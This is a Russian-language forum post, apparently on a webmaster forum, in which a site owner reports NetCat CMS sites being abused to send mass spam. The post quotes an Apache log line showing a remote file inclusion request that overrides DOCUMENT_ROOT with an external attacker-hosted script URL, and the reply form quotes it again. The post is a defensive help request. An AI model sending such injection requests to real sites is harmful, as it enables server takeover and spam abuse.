Исходное сообщение
"Спамят через скрипт //index.php?_SERVER%5bDOCUMENT_ROOT - CMS NetCat" Отправлено sdelali, 14-Июл-08 16:16
Приветствую! Обнаружилась следующая проблема на сайтах использующих NetCat Small Business: Отсылается 200 тыс. писем спама через сайты на сервере. Сначала подумал что это бот спамит через форму обратной связи (несмотря на капчу). Проверив и отключив раздел Обратная связь выяснил что поток писем валится дальше. Решил проверить access.log апача и увидел сотни вот таких запросов с разных IP. 91.121.24.157 - - [14/Jul/2008:15:49:15 +0400] "POST //index.php?_SERVER[DOCUMENT_ROOT]=http://geocities.com/abugag/inbox.txt? HTTP/1.1" 404 22531 "http://www.мойдомен.ru//index.php?_SERVER[DOCUMENT_ROOT]=http://geocities.com/abugag/inbox.txt?" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)" Т. е. видно что через подмену DOCUMENT_ROOT выполняется такой код - http://geocities.com/abugag/inbox.txt Пробовал и специальный s_extract.inc.php подключать, и документ рут прописывать явно - не помогает. Может в php.ini какую то функцию отключить можно, запрещающую выполнять код на чужом сайте? Пока отключил функцию mail совсем - т. к. забивался maillog - место заканчивалось - и БД MySQl поверждались ((( Обсуждение также на офсайте CMS - http://netcat.ru/support/ncforum/?Subdiv_ID=1&Topic_ID=813

Ваше сообщение
Имя*:
EMail:	Для отправки новых сообщений в текущей нити на email укажите знак ! перед адресом, например, !user@host.ru (!! - не показывать email). Более тонкая настройка отправки ответов производится в профиле зарегистрированного участника форума.
Заголовок*:
Сообщение*:	> Приветствую! > Обнаружилась следующая проблема на сайтах использующих NetCat Small Business: > Отсылается 200 тыс. писем спама через сайты на сервере. Сначала подумал что > это бот спамит через форму обратной связи (несмотря на капчу). Проверив > и отключив раздел Обратная связь выяснил что поток писем валится дальше. > Решил проверить access.log апача и увидел сотни вот таких запросов с > разных IP. > 91.121.24.157 - - [14/Jul/2008:15:49:15 +0400] "POST //index.php?_SERVER[DOCUMENT_ROOT]=http://geocities.com/abugag/inbox.txt? > HTTP/1.1" 404 22531 "http://www.мойдомен.ru//index.php?_SERVER[DOCUMENT_ROOT]=http://geocities.com/abugag/inbox.txt?" > "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; > .NET CLR 2.0.50727)" > Т. е. видно что через подмену DOCUMENT_ROOT выполняется такой код - http://geocities.com/abugag/inbox.txt > Пробовал и специальный s_extract.inc.php подключать, и документ рут прописывать явно - > не помогает. > Может в php.ini какую то функцию отключить можно, запрещающую выполнять код на > чужом сайте? > Пока отключил функцию mail совсем - т. к. забивался maillog - место > заканчивалось - и БД MySQl поверждались ((( > Обсуждение также на офсайте CMS - http://netcat.ru/support/ncforum/?Subdiv_ID=1&Topic_ID=813
	Введите код, изображенный на картинке: